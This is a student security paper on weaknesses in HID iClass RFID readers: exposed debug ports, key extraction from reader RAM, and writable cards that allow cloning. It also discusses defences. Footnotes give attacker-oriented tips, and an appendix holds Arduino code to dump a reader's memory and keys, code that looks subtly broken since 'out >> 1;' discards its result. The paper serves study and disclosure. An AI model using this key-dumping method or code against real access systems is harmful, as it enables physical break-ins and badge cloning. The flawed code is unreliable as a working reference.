Vulnerabilities in HID iClass RFID Access Control Systems

Nicholas Andre
n@axfp.org
Mentor: Ming Chow
Date: Friday, 12/13/13

Abstract

This paper covers the inner workings and security concerns of HID iClass 13.56 mHz RFID systems when compared with both traditional access controls and other RFID systems. It analyzes the different security concerns and describes weaknesses and attack vectors, and lastly lays out adjustments which could improve the security of the system. It finishes with the broader implications of the usage and concerns about such closed loop systems.

Introduction

The advent of modern RFID tags in the early 1970s opened a door to a wide variety of tagging and identification systems based on the technology. Today, RFID tags are use everywhere from identifying store inventory to collecting tolls on the highway. Many organizations also rely on RFID chips for access control and authentication, which is convenient because such chips can be easily embedded on a key fob or within a typical plastic ID card. This paper will focus on the access control model for RFID card use, and specifically the access control system provided by iClass using these cards.

To the Community

I chose this topic due to its relevance within the Tufts community and Tufts security in general -- specifically its direct relevance to the physical security of Tufts dorm residents. In addition, I wanted to gain a better understanding of the iClass security systems and RFID systems in general. This particular subject combines several of my interests in embedded C programming, microcontrollers, and RF/communications systems. Through studying this topic I have uncovered a fairly good example of a closed loop security system.

Access Control Necessities

To compare and analyze access control systems, I will start by laying out an ideal set of features for which an access control system should provide to maintain a prudent level of security:[1]

1. The system should provide a physical token to the end user for use in gaining access.
2. This token should not easily be duplicated.
3. This physical token should be the only way of gaining access.
4. If the physical token is lost, there should exist an easy way to deactivate that token, rendering it unusable.
5. It should be difficult to procure a token from a third party which can work on the system

To facilitate further understanding of the security principles, this article will draw comparisons between HID iClass RFID systems and traditional key based access control.

Comparisons

On paper, RFID tags can offer inherent advantages over traditional key systems when used in an access control model. Manufacturers of closed loop systems have the capacity to protect their cards and readers with sufficient obfuscation to make duplicating a tag impossible[2]. This is equivalent to making a key whose cuts and depths were obscured to prevent duplication. Proper usage of such security through obscurity and encryption can pose a significant hurdle[3] for attackers to surmount before being able to defeat the system. For example, iClass utilizes a handshake method using pseudo-random keys to authenticate the card before the reader will accept input. By manufacturing all cards in house, iClass can keep the specific processes behind this encryption secret. Furthermore, embedding keys in hardware can make obtaining these keys difficult. In such a closed loop model, iClass can make it make the duplication of

[1] These features are based on what the iClass Access Control system claims to provide
[2] This doesn't prevent an attacker from creating a "non tag" device which duplicates the same output signal.
[3] A gob of strong epoxy over a PCB can be security's best friend sometimes.

readers and tokens very difficult.

In addition, the software backend of the iClass system provides the capability of time or date delimited access control databases. In essence, this allows flexibility to deactivate tokens permanently or during periods of time. The same action with keys would require changing the locks. The software backend also allows for infinitely complex and infinitely dynamic equivalents to master key systems. Each token can be deactivated or activated on a lock by lock basis.

Security in Context

While the preceding paragraphs may lead the reader to believe that RFID tags are therefore the be-all, end-all of access control systems, the previous statements require a proper implementation to come to fruition. RFID systems have inherent issues in their very nature and in their implementation that can open up large security holes.

For instance, since there is no action taken by the user to initiate a transmission of the identification sequence with a passive tag[4], there is nothing to stop an attacker from reading an RFID tag by simply walking behind someone. All that is required is that a reader be in proximity to the tag, and that proximity distance is determined by the size, power, and sensitivity of the reader and the tag.[5] With the older 125 kHz RFID systems, the RFID signals were transmitted using a very simple FSK modulation and encoding technique[6] without encryption at a relatively low frequency. This meant that a simple microcontroller with a clock speed of only a few mHz would have sufficient speed with which to both generate and to receive these signals. This makes RFID cards not very secure.

iClass RFID systems improve on this by changing to a higher frequency and using “over the air” encryption. For the purpose of this paper, the over the air interface will be considered

[4] No “key” to be inserted into a lock or taken out of pocket
[5] http://proxclone.com/Long_Range_Cloner.html
[6] http://proxclone.com/spoofer.html

secure.[7]

The Vulnerabilities

Unfortunately, just as it seemed iClass had closed the last remaining security hole in the RFID interface, they opened up another hole. The readers for the cards ship with a standard PIC debugging interface easily accessible through the epoxy on the back of the reader. For those familiar with physical locks, this is equivalent to having a little peek hole into the cylinder that allows a clear view of the pins for easier duplication.

The debugging port is basically an ICSP port (In-Circuit Serial Programming) which provides power, clock override, data in/out, etc. This can be used to flash new firmware to the reader or other testing procedures in the factory. Unfortunately the debugging port also compromises the security of the device, providing a direct link into the microcontroller busses which are otherwise completely covered in epoxy. There is some obfuscation provided. Two pins on the connector have been swapped, requiring the use of slightly longer wires to bridge the gap between the programmer and the reader. Furthermore, the reader has “code protect” bits set, which prevents the reader from easily spilling the code.

Attack Vectors

Using a USB FTDI chip allows a procedure called “bit banging,” or a software emulation of a serial protocol. Two methods are available for obtaining pertinent information from inside the reader. The first method[8] requires multiple readers and involves overwriting the contents of the flash memory and inserting programs to dump the contents held within onto the bus and into your computer. Using two readers one can first overwrite the bootloader and dump the main

[7] I’ve seen some advanced cryptanalysis which suggests otherwise, but that’s not my field.
[8] http://www.openpcd.org/images/HID-iCLASS-security.pdf

portion of the memory, and then on the second unit create a NOP slide into the end of the memory where an additional assembly routine allows dumping the bootloader of the reader in the same fashion. The completed firmware image can be flashed back into both readers without code protect bits as well as submitted to debugging etc.

Obviously this technique entails somewhat undesirable consequences. For one, it requires at least temporarily disabling two readers. Furthermore, in the event of any sort of failure both readers would be useless. Given several spare readers, however, this technique allows a very thorough analysis of the iClass reader firmware.

Another method uses the readily exposed connector in a different manner. The debug connector provides a pin to flip the PIC microcontroller into “debug” mode, where the external connector controls the clock and can feed instructions into the microcontroller[9]. Using this connector, a simple external controller can instruct the processor to dump the entire contents of its RAM in a very few seconds. As it turns out, this RAM includes the ID data of the last card to tap into the system, the authentication key necessary to communicate with the card, AND the encryption key necessary to unscramble the data. All this can be done without taking the reader offline.

Completing the above method leaves the attacker with all the keys necessary, but no method to create a duplicate token. Here’s where iClass’ second great security failure picks up the slack for our tired attacker. The data within the card is stored in memory blocks that can be modified by external equipment. In addition, however, the permanent hardware ID stored within the card is not transmitted to the backend; only the content within the memory block.

[9] http://proxclone.com/pdfs/iClass_Key_Extraction.pdf

Implications

Coupled with this, iClass provides USB reader/writers which can both read and write cards with new ID numbers. When they ship to their big clients, they embed the keys in the hardware of the USB unit and the hardware is configured such that it will not write to cards nor reveal its security key externally. With the key in hand from some other means described above, however, iClass has opened the door to card duplication.

It should be obvious: for this type of system, it is absolutely unnecessary and even undesirable to have the card data modifiable. Duplicate cards undermine the 1:1 ratio of tokens to users upon which the system depends and the administrators expect. The same functionality is easily attainable by setting the access control database equivalently.

The bottom line here is that the flaws described herein open a tremendous and easily exploited security hole beyond the traditional “over the air” RFID interface. This is equivalent to each key leaving a copy of itself within the lock. This allows an attacker to obtain all the information necessary to walk through a door even days after the last person used the reader. The entire period of time from entrance to walking through the door could easily be less than 2 minutes[10]. The access level of the attacker would then be equivalent to that of the last person to tap[11]. In addition, the attacker would now possess the keys necessary to read and duplicate any card in close proximity.

Available Defenses

There are, luckily, some methods for which the end user has to control these security

[10] You must first dump the keys, which can be done directly to the computer using a USB FTDI chip and a simple C program. Once you obtain the keys, you have to initiate a write command to the card writer which could be feasibly plugged into the other USB port. Suffice it to say that the majority of the time is spent unscrewing the reader from the wall with a phillips head $2 screw driver. See 10 below.

[11] So, choose a reader off the beaten path where only important people tap in. Those are rare, right?

leaks already built into the hardware. The first of which is a purely mechanical solution: each reader includes a abnormal screw which requires a special driver to turn. If this is used, it adds a layer of complexity to examining one of these readers[12]. Also, within each reader there exists an optical or mechanical tamper sensor depending on the specific model. This serves to alert the operator of a potential compromise to the security of their reader and system. However, such a sensor can be easily defeated with a 1 cm^2 piece of electrical tape, and spurious readings could be easily interpreted as an equipment malfunction leaving an attacker to return once the confusion has died down[13].

A smart programmer might be able to construct algorithms to monitor for duplicate cards. This could include a single person tapping in at two different locations spread by large physical distance within a short period of time or even tapping in at unusual times[14]. Unfortunately, this algorithm may lead to spurious detection and does very little to identify the perpetrator (or even which is the legitimate card and which is not).

The most important requirement in this situation is to know the capabilities and limits of the system being used. There are plenty of less secure systems that have been implemented and used for access control and have passed perfectly sufficiently. A system administrator must, however, not expect the system to be any more secure than its weakest flaw or, short of being aware of that, its designed specifications. While a Kwikset keyed door inside a wooden frame has a use in securing the door of an apartment and is sufficient for that purpose, it should not be used to secure Fort Knox.

[12] Of course, most people don't bother to use these screws. Case in point: Tufts University.
[13] In addition, the activation of such a sensor is strictly optional.
[14] This obviously won't work if each card has access to only like one door and the person with the card is a college student.

Manufacturer Defenses

In the iClass case, a few modifications to the hardware by the manufacturer would suffice to dramatically improve the security of this system. The simplest method would be to only manufacture cards that were read only. In this case, the cards need to have modifiable encryption keys in order to work with every system, but there is no requirement to modify the actual identification information. While perhaps touted as a feature, it was probably more accurately a design trade-off or architecture simplification[15].

In addition, while the convenience of built in debugging or firmware upgrades may seem appealing, a further obfuscation of the pins or communication bus or outright removal of said part on production units would go a long way in preventing attackers from gaining access to the inner workings of the microcontrollers that power iClass' embedded hardware.

Conclusion

iClass touts that its HID iClass RFID systems are the "next generation" in security technology[16]. Without independent third party verification of those claims, the system administrators of the technology may very well assume that this system has a level of security far beyond reality. These users have a significant investment in a system based on unsubstantiated claims with insecure technology. Furthermore the financial inertia associated with upgrading hundreds of thousands of dollars of equipment may prove a hindrance to improvement.

The problem that this article revealed in this system has a larger significance in terms of closed loop systems. As with Apple's iMessage system, TouchID, or DOCSIS, it is very difficult

[15] All cards can be identical and you only have to write a few numbers in and ship them out the door.
[16] Or even fail to state in a meaningful way http://www.hidglobal.com/products/readers #marketing

to substantiate a claim made by a company on behalf of its closed source product. They may be making a false claim trumped up by marketers or they may not even know about the flaws contained within their system. With security, you really must obey “caveat emptor.”

References

A summary of all links provided in related footnotes throughout the paper appears here:

1. http://proxclone.com/Long_Range_Cloner.html
2. http://ww1.microchip.com/downloads/en/DeviceDoc/39576c.pdf
3. http://www.openpcd.org/images/HID-iCLASS-security.pdf
4. http://proxclone.com/spoofer.html
5. http://proxclone.com/pdfs/iClass_Key_Extraction.pdf

Appendix:

Attached here is some basic Arduino code which, when wired correctly, will dump the memory contents of a reader. This requires some manual intervention to apply the 9V to the ICSP header to throw the reader into debug mode before you execute the program. For more information on the ICSP protocol, see the PIC Documentation[17]

```
const int DATA_PIN = 2;
const int CLOCK_PIN = 3;
const int TRANSISTOR_PIN = 4;
const int  RAM_LENGTH = 1536;

void setup()
{
  // Clock and transistor pins are always out
  pinMode(CLOCK_PIN, OUTPUT);
  pinMode(TRANSISTOR_PIN, OUTPUT);
  // Clock pin should be set low before setting transistor pin high
  digitalWrite(CLOCK_PIN, LOW);
  digitalWrite(TRANSISTOR_PIN, HIGH);

  pinMode(DATA_PIN, OUTPUT);
  int var0 = 0x0E00;
  int var1 = 0x6EEA;
  int var2 = 0x0E00;
  int var3 = 0x6EE9;

  sendCommand(var0);
  sendCommand(var1);
  sendCommand(var2);
  sendCommand(var3);

  char data[RAM_LENGTH];

  for (int i = 0; i < RAM_LENGTH; i++)
  {
    data[i] = getByte();
  }

}

char getByte()
{
```

[17] http://ww1.microchip.com/downloads/en/DeviceDoc/39576c.pdf

```
  sendCommand(0x50EE);
  sendCommand(0x6EF5);
  sendReadDataCommand();
  pinMode(DATA_PIN, INPUT);
  cycleEightTimes();

  char out = 0;
  for (int i = 0; i < 8; i++)
  {
    digitalWrite(CLOCK_PIN, HIGH);
    // Delay
    out >> 1;
    if (digitalRead(DATA_PIN) == HIGH)
    {
      out += 128;
    }
    digitalWrite(CLOCK_PIN, LOW);
    // Delay
  }

  pinMode(DATA_PIN, OUTPUT);
  return out;
}

void sendCommand(int var)
{
  sendZeros();
  // First Byte
  sendBit(var & 1);
  sendBit(var & 2);
  sendBit(var & 4);
  sendBit(var & 8);
  sendBit(var & 16);
  sendBit(var & 32);
  sendBit(var & 64);
  sendBit(var & 128);

  // Second Byte
  sendBit(var & 256);
  sendBit(var & 512);
  sendBit(var & 1024);
  sendBit(var & 2048);
  sendBit(var & 4096);
  sendBit(var & 8192);
  sendBit(var & 16384);
  sendBit(var & 32768);
}

void sendBit(int var)
{
  if (var)
  {
   digitalWrite(DATA_PIN, HIGH);
   cycleClock();
  }
  else
  {
    digitalWrite(DATA_PIN, LOW);
    cycleClock();
  }
}

void sendZeros()
{
  digitalWrite(DATA_PIN, LOW);
  cycleClock();
  cycleClock();
  cycleClock();
  cycleClock();
}

void sendReadDataCommand()
{
 // Write 0010, but LSb first
 // so 0100 really
 digitalWrite(DATA_PIN, LOW);
 cycleClock();
 digitalWrite(DATA_PIN, HIGH);
 cycleClock();
 digitalWrite(DATA_PIN, LOW);
 cycleClock();
 cycleClock();
}

void loop()
{
 exit;
}
```

```
void cycleEightTimes()
{
 cycleClock();
 cycleClock();
 cycleClock();
 cycleClock();
 cycleClock();
 cycleClock();
 cycleClock();
 cycleClock();
}

void cycleClock()
{
 digitalWrite(CLOCK_PIN, HIGH);
 // Delay
 digitalWrite(CLOCK_PIN, LOW);
}
```